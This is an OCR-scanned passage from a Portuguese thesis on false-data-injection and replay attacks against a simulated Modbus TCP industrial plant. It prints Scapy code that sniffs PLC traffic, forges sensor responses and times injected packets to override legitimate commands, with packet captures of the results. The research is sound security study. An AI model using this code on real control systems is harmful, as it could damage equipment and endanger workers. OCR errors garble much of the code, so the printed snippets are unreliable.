RESPONSE_RIR,_LOOP_1 = PACOTES_INTERCEPTADOS[0] #RESPONSE Read
Input Register loop 1

RESPONSE_RIR,_LOOP_2 = PACOTES_INTERCEPTADOS[1] #RESPONSE Read
Input Register loop 2

contador 4= 1

try:
# Verifica se os pacotes capturados sao do tipo Read Input
Registers
if b’\x01\x04\x06 " in RESPONSE RIR_LOOP_1[Raw].load and b’\
x01\x04\x06 " in RESPONSE_RIR_LOOP_2[Raw].load:
print (" LOOP’S ENCONTRADOS" )
flag = 0
if contador > 500:

print ("Nao foi possivel detectar o loop de querrys Write

Multiple Coils. Tentando novamente...")
time.sleep (1.5)
contador = 0

except:
flag =1

Codigo 3.11 — Captura de pacotes RIRR para aquisi¢ao de IP e endereco MAC

Neste caso, sao capturados apenas dois pacotes do tipo Response Read Input
Registers, aplicando-se um filtro para que o endereco IP de destino seja o do CLP,
caracterizando pacotes do tipo Response, além de um filtro adicional no byte de
posicao 7 do payload Modbus, cujo valor igual a 4 corresponde ao Function Code
da funcao Read Input Registers. Dessa forma, garante-se que apenas pacotes do

tipo RRIR sejam capturados. Ainda assim, é realizada uma verificacao adicional,
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assim como nos ataques de injecao de comandos, para assegurar que os pacotes
capturados sao do tipo desejado.

Agora, tratando sobre a captura de pacotes para a construgao dos pacotes de
ataque, no caso dos ataques de injecao de respostas e medi¢oes do tipo Replay,
a forma de captura dos pacotes sofre uma pequena modificacdo. O Cdédigo 3.12

apresenta o trecho que foi alterado:

print (" DETECTANDO LOOP DE QUERRYS ENVIADOS

AO PLC")
flag = =1

conntador = 0

pacotes_ para_ coletar = 25
while flag:

PACOTES_INTERCEPTADOS = sniff (

iface=iface_ ,

count= pacotes_para_ coletar |,

Ifilter= lambda x: x.haslayer (Raw) and x.haslayer (IP) and x|
IP].dst = ip CLP and x[Raw].load[7]==4

)

RESPONSE_RIR,_1 = PACOTES INTERCEPTADOS[23] #RESPONSE Read Input
Register penultimo loop
RESPONSE_RIR, 2 = PACOTES_INTERCEPTADOS[24] #RESPONSE Read Input

Register ultimo loop

18 ...

Cédigo 3.12 — Captura de pacotes RRIR para construgao dos ataques

Neste caso, ao invés de capturar apenas dois pacotes, é capturada uma quan-
tidade maior de pacotes definida pelo atacante. Isso se deve ao fato de que, no
ataque do tipo Replay, uma sequéncia de valores previamente lidos pelos sensores é
repetida por um intervalo de tempo determinado. Assim, para obter uma sequén-
cia de medigoes reais que posteriormente sera reutilizada nos pacotes de ataque,
optou-se pela captura de 25 pacotes do tipo RRIR, ao invés de apenas dois. Para o

ataque de insercao de dados forjados, nao é necessaria a captura de mais pacotes,
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apenas dois pacotes sequenciais para que se construa o primeiro pacote de ataque.

3.4.3.2 Construcao das camadas mais baixas

Neste caso, o codigo utilizado para a construcao das camadas Ethernet, IP e
TCP é exatamente o mesmo apresentado no Codigo 3.6, empregado anteriormente
para o calculo dos campos de Sequence Number e Acknowledgment Number e para
a montagem das camadas de rede nos ataques de injecao de comandos. A tnica
diferencga entre os c6digos estd no nome das variaveis que armazenam os pacotes
capturados. No caso dos ataques de injecao de comandos, sao utilizadas as variaveis
QUERRY_WRITE_COIL_a e QUERRY_WRITE_COIL_ b, enquanto que, para os ataques
de injecao de respostas e medigoes, sao utilizadas as varidveis RESPONSE_RIR 1 e
RESPONSE_RIR_2.

3.4.3.3 Ataque de insercao de dados forjados

Para o primeiro ensaio de ataques do tipo injecao de respostas e medigoes,
foi desenvolvido um cédigo de insercao de dados forjados diretamente ao CLP,
fazendo com que o préprio CLP passasse a enviar requisi¢oes incorretas a planta

de controle de nivel, baseando-se em valores de medigoes falsificados.

3.4.3.3.1 Construcao do campo ADU

A construcao da camada de aplicacao segue a mesma logica adotada nos ataques
anteriores, utilizando os dados dos pacotes capturados para calcular o Transaction
ID e para atribuir corretamente os valores dos demais campos do protocolo. O
Codigo 3.13 apresenta essa construgao, bem como a forma como o campo Data é
definido neste caso especifico. O objetivo deste ataque é inserir um valor falso de
medicao de nivel do tanque na rede, como se fosse uma resposta legitima a uma
requisicao enviada pelo CLP.

Na planta utilizada, existiam dois sensores e um knob de ajuste de setpoint.
Esses trés valores eram enviados ao CLP no formato WORD, ou seja, cada variavel
ocupava 2 bytes, totalizando um campo de dados com 6 bytes. Os dois primeiros
bytes correspondem ao nivel do tanque, os bytes 3 e 4 ao valor de vazao na saida

do tanque, e os dois ultimos bytes ao valor de setpoint configurado.
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#Criacao do pacote MODBUS

print (" CONSTRUINDO LAYER MODBUS")

#Calculo do transact ID do ataque

Trans_ID = ((RESPONSE_RIR,_LOOP_ 2[Raw].load [0] << 8) +
RESPONSE_RIR,_ LOOP_2[Raw].load [1]) + tamanho_do_loop

Protocol_Identifier = (RESPONSE_RIR_LOOP_2[Raw].load [2] << 8) +
RESPONSE_RIR. LOOP_2[Raw] . load [3]

Length = (RESPONSE_RIR_LOOP_2[Raw].load [4] << 8) +
RESPONSE_RIR,_LOOP_2[Raw] . load [5]

Unit_ID = RESPONSE RIR LOOP_2[Raw].load [6]

11 WMC_FUNCTION = RESPONSE_RIR LOOP_2[Raw] . load [7]

19
20

2 Byte_Count = RESPONSE_RIR_LOOP_2[Raw]. load [8]

Data_ Bytes = struct.pack(">3H", 1000, 1000, 0)
print (Data_Bytes)

print (Trans_ID)

#Criacao das layers ModbusTCP e Modbus
class ModbusTCP(Packet ) :
name = "MBPA"
fields_desc = [ ShortField (" Transaction_TIdentifier", Trans_ID),
ShortField ("Protocol Identifier",
Protocol_ Identifier),
ShortField ("Length", Length),
ByteField ("Unit_Identifier", Unit_ID)
]

class Modbus(Packet):
name = "PDU"
fields_desc = [ XByteField ("'Function Code", WMC _FUNCTION) ,
ByteField ("Byte_Count"', Byte_Count),
StrLenField ("Data", Data_Bytes, length_from=
lambda pkt: pkt.Byte Count)

}
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Codigo 3.13 — Construcao do ADU

Neste caso, a variavel Data_Bytes contém os dados forjados dos sensores. Ela
¢ composta por trés valores, sendo que cada um ocupa 2 bytes, resultando em um
campo de dados com 6 bytes de comprimento, correspondentes as trés medigoes
enviadas ao CLP. Para este ataque, os valores falsos sdo definidos de forma fixa e
proposital, caracterizando um ataque forte e continuo.

O CODESYS se comunica com o Factory 10O utilizando variaveis do tipo WORD,
com valor minimo igual a 0 e valor maximo igual a 1000. Sendo assim, neste ataque
sao enviados ao CLP valores falsos que indicam nivel maximo do tanque (1000),
vazao de saida maxima (1000) e setpoint igual a zero. Dessa forma, o CLP inter-
preta que o nivel do tanque estd extremamente alto enquanto o setpoint esta em
zero e, como consequéncia, reage tentando drenar todo o liquido do tanque. No
entanto, esse comportamento é induzido exclusivamente por medicoes falsas, nao

refletindo o estado real do processo fisico.

3.4.3.3.2 Loop de envio de ataque

O inicio do loop de envio de ataques é exatamente o mesmo apresentado no
Cédigo 3.8, utilizado nos ataques anteriores. A principal diferenca neste caso

encontra-se no trecho de coédigo apresentado no Codigo 3.14.

2 #Definicao de momento para o envio do pacote (Apenas enviar depois do

2
o

1

10

Querry read input register)
def parar_sniff envio_pacote (pkt):
Tran ID_Anterior Envio = (pkt[Raw].load [0] << 8) + pkt[Raw].load
[1]
if Tran ID Anterior Envio = trans id atual — 1:
return True

return False

sniff (

iface=iface
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11 Ifilter=lambda x: x.haslayer (Raw) and x.haslayer (IP) and x[IP].

src = ip_ factorylO ,
12 stop_ filter=parar_sniff_envio_pacote# prn = lambda x: x.show ()
13 )
14
15
16 if auxl = 0:
17 print (" MOMENTO CERTO DETECTADO, PACOTES

SENDO ENVIADOS")

18

19 # Envia o pacote de ataque

20 time.sleep (0.01385)

21 sendp (PACOTE _COMPLETO, iface=iface_, verbose = 0)
22

Codigo 3.14 — Construcao do ADU

Existe uma diferenca fundamental entre o loop de envio do ataque de injecao
de comandos e o loop do ataque de injecao de respostas e medigoes. Essa diferenca
estd relacionada ao instante exato em que o pacote forjado deve ser inserido na
comunicacao.

No caso dos ataques de injecdo de comando, o pacote malicioso é um Query,
e o filtro de parada ¢é baseado na deteccao de um Response com Transaction ID
imediatamente anterior ao pacote de ataque. Conforme mostrado anteriormente,
o intervalo de tempo entre o Response de um canal e o Query do canal seguinte
estd na ordem de dezenas de milissegundos, o que fornece tempo suficiente para o
envio do pacote de ataque

Ja no caso dos ataques de injecao de respostas e medigoes, o pacote forjado é
um Response. A diferenca de tempo entre um Query e o Response correspondente,
dentro de um mesmo canal Modbus, é muito menor, tipicamente da ordem de 1 ms.
Isso significa que, para substituir um Response legitimo, o pacote forjado precisaria
ser enviado em menos de 1 ms apés a deteccao do Query, o que se mostrou inviavel
na pratica utilizando a fun¢do de envio disponivel.

Apoés diversas tentativas, verificou-se que nao era possivel utilizar diretamente o
Query Read Input Register correspondente como gatilho para o envio do Response
falso, pois o pacote forjado nao chegava a rede com rapidez suficiente para sobrepor

o Response legitimo.
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Dessa forma, adotou-se uma estratégia alternativa. Em vez de utilizar o Query
correspondente como referéncia, passou-se a monitorar o Response imediatamente
anterior ao Response de ataque, de maneira analoga ao que foi feito nos ataques
anteriores. No entanto, diferentemente do caso anterior, esse Response anterior
nao é usado para antecipar o Query seguinte, mas sim para estimar o instante em
que o proximo Response ocorrera.

Para isso, foi inserida uma pausa proposital no cédigo, utilizando a funcao
time.sleep(0.01385). Essa pausa, de aproximadamente 14 ms, foi ajustada em-
piricamente para que, apés a deteccdo do Response anterior, haja tempo suficiente
para que o Query legitimo seja enviado pelo CLP e, quase imediatamente em
seguida, o Response forjado seja transmitido, tentando chegar a rede antes do
Response legitimo, cujo atraso tipico é inferior a 1 ms.

E importante ressaltar que essa abordagem nao é deterministica, uma vez que
o tempo de espera utilizado é fixo e a comunicacao na rede apresenta variagoes
naturais de laténcia. Portanto, como sera apresentado na Secao de Resultados, em
alguns momentos o Response legitimo consegue chegar antes do Response forjado.
Ainda assim, na média, o ataque se mostrou eficaz, obtendo sucesso em um nimero
significativamente maior de tentativas do que falhas.

O cédigo completo deste ataque estd disponivel no repositério GitHub do tra-
balho [26]. 2

3.4.3.4 Ataque do tipo Replay

Por fim, o ultimo ensaio feito foi de ataques do tipo Replay. Esses ataques,
também sendo responses inseridos na rede em diregdo ao CLP, recolhem dados
das tltimas medigdes e repetem-nos por um tempo (quantidade de loops) defi-
nido. A quantidade de medi¢oes a serem replicadas depende da quantidade de
pacotes coletados. Como mostrado anteriormente no Codigo 3.12, a variavel pa-
cotes_ para_ coletar controla essa quantidade de medigoes capturadas a serem re-
pitidas. No caso foram capturados 25 pacotes, contendo 25 medic¢oes, que serdao

utilizada para o ataque.

12 Disponivel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso- Rafael Alvarez/
tree/main/Ataques- De-Injecao-De-Respostas>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Respostas
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Respostas
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3.4.3.4.1 Construcao do ADU

A construcao do campo ADU ¢ idéntica a utilizada no codigo do ataque ante-
rior, diferindo apenas no conteido do campo Data. Neste ataque, o campo Data
¢ inicializado com valores reais de medigoes obtidos a partir dos primeiros pacotes
interceptados durante a comunicac¢ao entre o CLP e o Factory 10.

Mais especificamente, os valores correspondentes aos sensores de nivel, vazao e
knob de setpoint sao extraidos diretamente do primeiro pacote capturado e arma-
zenado na posi¢ao [0] da lista PACOTES_INTERCEPTADOS. O Codigo 3.15 apresenta
o procedimento adotado para a extracao e construcgao inicial do campo Data do
ADU.

sensor__1 = (PACOTES_INTERCEPTADOS[0][Raw].load [9] << 8) +
PACOTES_INTERCEPTADOS [0 ] [Raw] . load [10]

sensor_ 2 = (PACOTES_INTERCEPTADOS[O0][Raw].load [11] << 8) +
PACOTES_INTERCEPTADOS[0] [Raw] . load [12]

sensor_3 = (PACOTES_INTERCEPTADOS[0][Raw].load [13] << 8) +
PACOTES INTERCEPTADOS [0] [Raw] . load [14]

; Data_ Bytes = struct.pack(">3H", sensor_1, sensor_2, sensor_3)

print (Data_Bytes)

Cédigo 3.15 — Atribuicdo do campo Data do ADU

Como pode ser observado, os valores dos sensores 1, 2 e 3 sdo obtidos direta-
mente do campo Raw do pacote Modbus capturado, considerando a organizagao
dos registradores na carga 1til da mensagem. Esses valores sdo entao empacotados

e utilizados como contetdo inicial do campo Data do ADU forjado.

3.4.3.4.2 Loop de envio do ataque

Assim como nos ataques anteriores, a estrutura base do cddigo responsavel
pelo envio dos pacotes de ataque permanece a mesma, conforme apresentado no
Cédigo 3.14. A principal diferenca neste caso estd na forma como o campo Data
¢ definido, uma vez que seus valores sao atualizados a cada iteracao do loop de

ataque e reinicializados apos um determinado nimero de ciclos.
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O Cédigo 3.16 apresenta a logica adotada para a atribuicao dindmica da vari-

avel data durante a execuc¢ao do loop.

9 ...

10i=1

11 trans_id atual = Trans ID

12

13

14 while auxl < loops_de_ ataque:
15 if auxl = 0:

16 #Usa o que ja foi construido fora do loop

17 camada_eth = CAMADA ETHERNET

18 camada_ tcp_ip = CAMADA TCP IP PRIMEIRO ATAQUE

19 camada_ modbus_tcp = ModbusTCP ()

20 camada_modbus = Modbus ()

21 else:

22 #Recalcula valores

23 seq_atual = SHQ ATAQUE + (TAMANHO SFQ * auxl)

24 ack atual = ACK ATAQUE + (TAMANHO ACK # auxl)

25 trans_id_atual = Trans_ ID + (tamanho_ do_loop x* auxl)
26

27

28

29 sensor_ 1 = (PACOTES INTERCEPTADOS[i | [Raw].load [9] << 8) +

PACOTES INTERCEPTADOS[0] [Raw] . load [10]

30 sensor_ 2 = (PACOTES_INTERCEPTADOS[i ]| [Raw].load [11] << 8) +
PACOTES INTERCEPTADOS[0] [Raw] . load [12]

31 sensor_3 = (PACOTES_INTERCEPTADOS[i |[Raw].load [13] << 8) +
PACOTES_INTERCEPTADOS[0] [Raw] . load [14]

32

33 Data_Bytes = struct.pack(">3H", sensor_1, sensor_2, sensor_3)
34

35 i+=1

36

37 if i >= pacotes_para_coletar — 1:

38 i=1

39

40

Codigo 3.16 — Atribuigao da varidvel data no loop de ataque
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Nesse contexto, os valores dos sensores sao reatribuidos a cada iteracao do
loop de ataque com base nos pacotes legitimos previamente capturados. O indice
auxiliar i percorre sequencialmente a lista PACOTES_INTERCEPTADOS até atingir
o numero maximo de pacotes coletados, momento em que seu valor ¢é reiniciado.
Dessa forma, os valores utilizados no campo Data passam a se repetir ciclicamente.

Como resultado, o ataque mantém valores de medicao coerentes com o com-
portamento real da planta, porém reapresentados de forma repetitiva e fora de
contexto temporal. Diferentemente do ataque anterior, no qual eram injetados va-
lores fixos e claramente discrepantes, este método utiliza medi¢oes reais, tornando
o ataque menos perceptivel e potencialmente mais dificil de ser identificado por
mecanismos simples de detec¢ao baseados em limiares.

O cédigo completo deste ataque esté disponivel no repositério GitHub do tra-
balho [26]. 3

13 Disponfvel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/
tree/main/Ataques-De-Injecao-De-Respostas>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Respostas
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Respostas
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4 Resultados e Discussao

Nesta secao, sao apresentados os resultados dos ensaios de ciberataques reali-
zados a rede Modbus TCP responsavel pela comunicacdo entre as plantas indus-
triais simuladas no Factory I/0, exibidas anteriormente, e o CLP simulado no
CODESYS.

Sera possivel observar como as plantas se comportaram frente aos ataques,
bem como analisar a reagao da rede a injecao de pacotes falsos e externos, os quais

sobrepoem pacotes legitimos de comunicagao.

4.1 Planta de separacao de pecas

Conforme apresentado anteriormente, foram realizados dois ensaios distintos
utilizando a planta de separacao de pegas como alvo dos ataques. O primeiro en-
saio, descrito na Secao 3.4.2.3, corresponde a um ataque continuo e facilmente per-
ceptivel, cujo objetivo foi acionar simultaneamente todos os atuadores da planta,
provocando um estado de caos imediato no processo.

O segundo ensaio, discutido na Secao 3.4.2.4, consiste em um ataque mais
discreto, no sentido de ser menos perceptivel, e comportamento pseudoaleatorio no

tempo, no qual diferentes comandos maliciosos sao injetados de forma intercalada.

4.1.1 Ataque continuo e perceptivel

A Figura 55 apresenta um trecho da troca de pacotes capturada no Wireshark
durante a execucao do primeiro ensaio de ataque. Destacados em azul e laranja,
observam-se dois ciclos completos de comunicagao Modbus TCP. Os pacotes Query
Write Multiple Coils (QWMC) dentro desses ciclos, foram utilizados como base
para a extracao de informacgoes necessarias ao célculo dos campos do primeiro
pacote de ataque. O pacote malicioso QWMC é enviado na linha 678. Nota-se
que, logo apds o envio desse pacote, ocorre a rejeicao de um pacote na linha 680, o

qual corresponde ao pacote legitimo enviado pelo CLP contendo os comandos reais
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destinados a planta. Destaca-se que a coluna com os IP’s de source e destination

dos pacotes foi ocultada pra que fosse possivel melhor visualizacao da imagem.

Figura 55 — Captura de pacotes entre planta e CLP - Ensaio 1

663 8.893152 Modbus.. 66 Response: Trans: 17381; Unit: 1, Func: 15: Write Multiple Coils
664 8.128125 Modbus.. 66 Query: Trans: 17382; Unit: 1, Func: 4: Read Input Registers
665 8.121617 Modbus.. 65 Response: Trans: 17382; Unit: 1, Func:  4: Read Input Registers
666 8.148365 Modbus.. 73 Query: Trans: 17383; Unit: 1, Func: 16: Write Multiple Registers
667 8.141371 Modbus.. 66 Response: Trans: 17383; Unit: 1, Func: 16: Write Multiple Registers
668 8.159585 Modbus... 66 Query: Trans: 17384; Unit: 1, Func: 2: Read Discrete Inputs
660 8.159846 Modbus 64 Response: Trans: 17384; Unit 1, Func: 2: Read Discrete Inputs

671 8.181886 Modbus.. 66 Response: Trans: 17385; Unit: 1, Func: 15: Write Multiple Coils
672 8.219780 Modbus.. 66 Query: Trans: 17386; Unit: 1, Func: 4: Read Input Registers
673 8.221162 Modbus.. 65 Response: Trans: 173863 Unit: 1, Func:  4: Read Input Registers
674 8.248878 Modbus.. 73 Query: Trans: 17387; Unit: 1, Func: 16: Write Multiple Registers
675 8.242226 Modbus.. 66 Response: Trans: 17387; Unit: 1, Func: 16: Write Multiple Registers
676 §.259581 Modbus... 66 Query: Trans: 17388; Unit: 1, Func: 2: Read Discrete Inputs
677 8.2608112 Modbus.. 64 Response: Trans: 17388; Unit: 1, Func: 2: Read Discrete Inputs

66 Response:

: Write Multi

As Figuras 56 e 57 apresentam, respectivamente, os pacotes 678 (ataque) e 680
(legitimo). A comparacao entre eles permite identificar tanto o motivo da rejei-
¢ao do pacote legitimo quanto a forma como o pacote de ataque foi construido.
Observa-se, inicialmente, que os campos Sequence Number (SEQ) e Acknowledg-
ment Number (ACK) possuem exatamente os mesmos valores em ambos os paco-
tes, o que indica que o calculo desses campos foi realizado corretamente pelo codigo
de ataque. Além disso, o campo RAW dos dois pacotes é idéntico, com excecao dos
dois ultimos bytes. Esse campo corresponde ao ADU do Modbus TCP, englobando
tanto o cabegalho MBAP quanto a PDU da camada de aplicacao. Isso demonstra
que o pacote malicioso replica fielmente o pacote legitimo, alterando apenas os dois
ultimos bytes da camada de aplicagdo, que sdo justamente os responsaveis pelos

comandos enviados aos atuadores da planta.
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Figura 56 — Pacote 678

mwﬁm
dst ee d8:f3:bc:29:7d:35_ omeal m--@m%

src o8 34:52:60:61:d7:bb

type mlP——— 01 16 7b 32 8c 16 [a% 18 a5 ac 50 18
00 ool | /
version 4 4 —/L ﬂn___, 43 ed 00 00 00 09 01 Of 00 00
ihl w5 — ’
tos 18 0x0 =
len L e
id w1 —
flags 0B
frag 10—
ttl 18 64 -
proto Btep————
chksum 28 Oxf88l— -
src 48 192.168.0.69—
dst 48 192.168.0.169
options o8 []
I .
sport w53358—— e
dport 8 502— a8
seq 48 2066910230 p
ack ag 2753078700— /
dataofs w5 /
reserved 0
flags 28 PA
window 28 251
chksum 28 OxclffF—
urgptr w0
options o8 [|
load 158 b'C\xed\x00\x00\x0]...]
Fonte: Autor
Figura 57 — Pacote 680

Eﬁmwm
dst 68 d8:f3:bc:20:7d:35__ %
src o8 34:52:60:6f.d7:bb — m--@m
type == 01 _16] 7b 32 Bc 16 (a4 18 a5 ac 50 18
00 00,
version a4 3 "ed 00 00 00 09 01 0f 00 00
ihl w5 — /
tos 18 Ox0

—
len w55—— N
id w4707
flags o DF
frag w0—
ttl 18128 —
proto wtep—
chksum 28 Oxd596——
src 48 192.168.0.69
dst 48 192.168.0.169
options o8 [|
7_)/,/
sport 853368 /
dport 28 502 3
seq 48 2066910230 B
ack 2 2753078700— /
dataofs a5 /
reserved 3 0
flags 8 PA
window 28 251
chksum 28 Dxbde4-
urgptr w20 —
options o8 []
load 158 b'C\xed\x00\x00\x0]...]

Fonte: Autor
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No pacote de ataque, os dois ultimos bytes possuem o valor hexadecimal ff
ff, que corresponde, em binario, a 1111111111111111, indicando que todos os
sinais enviados a planta estdo em nivel logico alto. Ja no pacote legitimo, esses
bytes apresentam o valor 1b 04, equivalente a 0001101100000100, o que indica
que mais de 50% dos sinais deveriam permanecer em nivel l6gico baixo.

A rejeicao do pacote legitimo ocorre devido a forma como o ataque foi sincro-
nizado. Conforme explicado anteriormente, o c6digo de ataque foi projetado para
enviar o pacote malicioso garantidamente antes do pacote legitimo, explorando a
diferenga temporal entre os envios e a velocidade da fungao de injecao de pacotes.
Como a comunicacao Modbus TCP segue uma sequéncia rigorosa de mensagens,
pacotes que chegam fora dessa ordem sao descartados. Nesse contexto, mesmo
possuindo valores validos de SEQ, ACK e Transaction ID, o pacote legitimo passa
a ser interpretado como uma retransmissao tardia, uma vez que o pacote de ataque
ja ocupou sua posicao esperada na sequéncia. Por esse motivo, o pacote legitimo
é rejeitado pela pilha de comunicacao TCP/IP e ndo chega a ser processado pela
aplicacgao.

Outros campos, como IP.src, IP.dst, TCP.sport, TCP.dport, Ethernet.src
e Ethernet.dst, sao idénticos entre os pacotes legitimo e malicioso. Isso reforca
que o ataque foi projetado para replicar integralmente o pacote legitimo em todas
as camadas inferiores, alterando apenas os dados da camada de aplicacao. Campos
como IP.ttl e IP.id podem apresentar diferencas, porém nao sao criticos para a
validacao da comunicacao e nao interferem na aceitacao do pacote pela rede.

Por fim, apds o envio do primeiro pacote de ataque, os pacotes subsequentes
sao recalculados com base nesse pacote inicial, mantendo a coeréncia dos campos

de controle e garantindo a continuidade do ataque até o término do ensaio.

4.1.1.1 Comportamento da planta

As Figuras 58 e 59 apresentam, respectivamente, o comportamento da planta

de separacao de pecas e do CLP durante a execucao do primeiro ensaio de ataque.
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Figura 58 — Planta durante o ataque - Ensaio 1

£8 Capturing from Wi-Fi

File Edit Vie ture  Analyze Statistics Telephony
AD A mBERRE R«>=1¢
R tep

No. Time Si Destination

1450 19.106569 192.168.0.69 192.168.0.169

1451 19.107523 192.168.9.169 192.168.8.69

1452 19.126770 192.168.0.69 192.168.0.169

1453 19.128237 192.168.0.169 192.168.6.69

1454 19.146460 192.168.0.69 192.168.0.169

1455 19.146762 192.168.9.169 192.168.0.69

1456 19.156028 - s - k 69  Query:
1457 19.156758 b

1462 19.406688 192.168.8.69 192.168.8.169

1463 19.407683 192.168.0.169 192.168.0.69 .. 65 Response:
1464 19.426873 192.168.9.69 192.168.8.169 . 73 Query:
1465 19.427260 192.168.0.169 192.168.0.69 66 Response:
1466 19.447149 192.168.0.69 192.168.6.169 .. 66

1467 19.447582 192.168.8.169 192.16[%.69

1468 19.457456 192.168.0.69 102.168°0.169

00 fe e6 ad 80 00 42
00 01

¥
FACTORY /O v2.5.5 - Ultimate ion - Sorting Station

e capturein progress> Packets: 1472 - Displayed: 14!

Fonte: Autor

Observa-se que, na planta, o ataque surtiu efeito imediato. Assim que o pacote
malicioso foi injetado na comunicagao, todos os atuadores, incluindo os bragos
de separacao, as esteiras e o stopblade, passaram para o estado ativo simultanea-
mente. Esse comportamento provocou um claro engarrafamento de pecas ao longo
das esteiras, incluindo situacoes de acimulo e empilhamento de pecas. Em um
cenario real, caso esse ataque fosse mantido por um periodo prolongado, os danos
poderiam ser significativos, resultando em prejuizos materiais elevados e até riscos
graves a seguranca de operadores préximos a maquina. Nessas condig¢oes, a tnica
forma rapida de intervencao por parte de um operador seria o desligamento da
alimentacao elétrica por meio de um dispositivo de emergéncia.

Ao analisar a Figura 59, que mostra o CLLP em modo online, nota-se que o con-
trolador continua executando corretamente sua logica de controle. Isso pode ser
observado, por exemplo, pelos campos E1 e E2, que permanecem em nivel 16gico
baixo, indicando que o CLP estd enviando comandos coerentes com o funciona-
mento esperado da planta. No entanto, esses comandos legitimos sao sistematica-
mente sobrescritos pelos pacotes forjados injetados pelo ataque antes de chegarem

a planta.
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Figura 59 — CLP durante o ataque - Ensaio 1

P o
% E1_ON BOOL
# E1_TURN BOOL
& E2_ON BOOL
& E2Z_TURN BOOL
& E3_ON BOOL
# E3_TURN BOOL
# stopblade BOOL
T oo TORD T J—
a CONT 7 NN a
a v e
QUT_INTERNO
FALSE TALE FALSE
comandos.start PRIMEIRO_AZUL E2_ON E3_ON E1 ON
Nl i
i m ()
FALSE
E1_TURN
9
QUT_INTERNO
FALSE FALSE
comandos.start PRIMEIRO_VERDE E1_ON E3_ON EZ_ON
N [ ()
I I L
FALSE
E2_ON DESLIGA_E2 E2_TURN
L Il i
[ -] 8

Fonte: Autor

PIFTR:

Os graficos apresentados nas Figuras 60 e 61 ilustram de forma clara essa dis-

crepancia entre os sinais enviados pelo CLP e os sinais efetivamente recebidos pela

planta. Nesses graficos, é possivel comparar os sinais reais gerados pelo contro-

lador, cujos pacotes acabam sendo rejeitados pela rede, com os sinais forjados

oriundos do ataque, que sao aceitos e processados pela planta.
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Figura 60 — Graficos comparativos entre o sinal real x sinal forjados (Bragos de

separagao)
Braco 1 - Sinal enviado pelo CLP x Sinal recebido pelos atuadores
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Fonte: Autor
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Figura 61 — Graficos comparativos entre o sinal real x sinal forjados (Bragos de
separagao)

Esteira IN - Sinal enviado pelo CLP x Sinal recebido pelos atuadores

=
S
o
Rl
(]
in
w
0 I |
—~-~ Esteira IN - Sinal enviado
—— Esteira IN - Sinal recebido
0 10 20 20 a0 50 60
Tempo (s)
Stopblade - Sinal enviado pelo CLP x Sinal recebido pelos atuadores
1 /1 M
]
=l
o
T
(]
w
w
0_ — e e ccc s c s r r r c r c r r r r r r c r e e - - = -
—-=-=- Stopblade - Sinal enviado
—— Stopblade - Sinal recebido

0 10 20 30 40 50 60
Tempo (s)

Fonte: Autor

A partir da analise dos graficos, percebe-se nitidamente o instante em que o
ataque tem inicio, aproximadamente aos 7 segundos. No grafico referente ao brago
de separacao 1, por exemplo, observa-se que o sinal enviado pelo CLP passa para
nivel l6gico baixo pouco antes dos 10 segundos, enquanto o sinal recebido pela

planta permanece continuamente em nivel l6gico alto durante todo o periodo do
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ataque, que se estende por cerca de 50 segundos. Esse mesmo comportamento é
observado nos demais sinais monitorados. Em determinado momento, os comandos
enviados pelo CLP tornam-se irrelevantes para o processo, uma vez que a planta
passa a responder exclusivamente aos sinais forjados injetados pelo atacante.

No YouTube, é possivel assistir o video que mostra o ciberataque apresentando
nesta se¢ao, permitindo melhor visualizagdo de tudo que foi descrito e apresentado
[30]. 1

4.1.2 Ataque aleatério e discreto

Neste caso, conforme explicado anteriormente, o ataque em si é semelhante ao
ataque anterior, diferenciando-se pela reatribuicao pseudoaleatoria dos trés valores
de dados de aplicacao disponiveis e pelo espacamento temporal entre as injegoes,
nao ocorrendo de forma continua.

Os dois pacotes apresentados nas Figuras 62 e 63 correspondem, respectiva-
mente, a um pacote de ataque e a um pacote legitimo, capturados em uma posi¢ao
aleatoria da rede durante a inje¢do do ataque.

Observa-se que os campos criticos dos pacotes permanecem idénticos, tais como
os valores de seq e ack, os enderegos de origem e destino e a camada Raw, referente
a camada de aplicagdo do protocolo Modbus. A diferenca entre os pacotes esta
restrita aos dois ultimos bytes. No pacote legitimo, o valor em hexadecimal é 63
04 (01100011 00000100), enquanto no pacote de ataque o valor observado é 1B
04 (00011011 00000100).

Os valores 63 e 1B correspondem ao byte menos significativo (byte 0) do canal
de comunicacao, embora, no envio do pacote, aparecam a esquerda do byte 04. O
valor 04, por sua vez, corresponde ao byte 1 no canal WMC. Dessa forma, ao reor-
ganizar os bytes de acordo com o nivel de significadncia, obtém-se as representagoes
binarias 00000100 01100011 e 00000100 00011011, respectivamente.

A anélise em nivel binario evidencia alteracoes nos bits 3, 4, 5 e 6, conside-
rando a numeragao a partir do bit menos significativo (bit 0). Essa interpretacao
dos bytes do canal WMC é corroborada pela Figura 38, na qual é apresentado o

mapeamento das variaveis no ambiente CODESYS.

1 Disponivel em: <https://www.youtube.com/watch?v=RQQ0YGNOLqA>


https://www.youtube.com/watch?v=RQQ0YGNOLqA
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No pacote legitimo, os bits 5 e 6 encontram-se em nivel l6gico alto, enquanto os

bits 3 e 4 permanecem em nivel l6gico baixo, acionando corretamente o brago e a

esteira auxiliar responsaveis pelas pecas verdes. Ja no pacote de ataque, observa-se

a inversao desse padrao: os bits 3 e 4 sdao colocados em nivel l6gico alto e os bits

5 e 6 em nivel l6gico baixo, resultando no acionamento indevido do braco e da

esteira destinados as pecas azuis.

Ethernet

dst
src

type

version
ihl

tos

len

id

flags
frag

ttl
proto
chksum
src

dst
options

sport
dport
seq

ack
dataofs
reserved
flags
window
chksum
urgptr
options

Raw
load

Figura 62 — Pacote de ataque
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Fonte: Autor
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Figura 63 — Pacote legitimo

Etherner — 34 5a 60 6f d7 bb
dst 68 d8:f3:bc:20:7d:35_ %
src 68 34:52:60:6f:d7:bb T—— _00 o m 40 -—m
type 28 |Pvd— e /T [fe_c3|(01 £6] 75 Of al 54 Mm 50 18
cl[dc, 8100 00 / i /
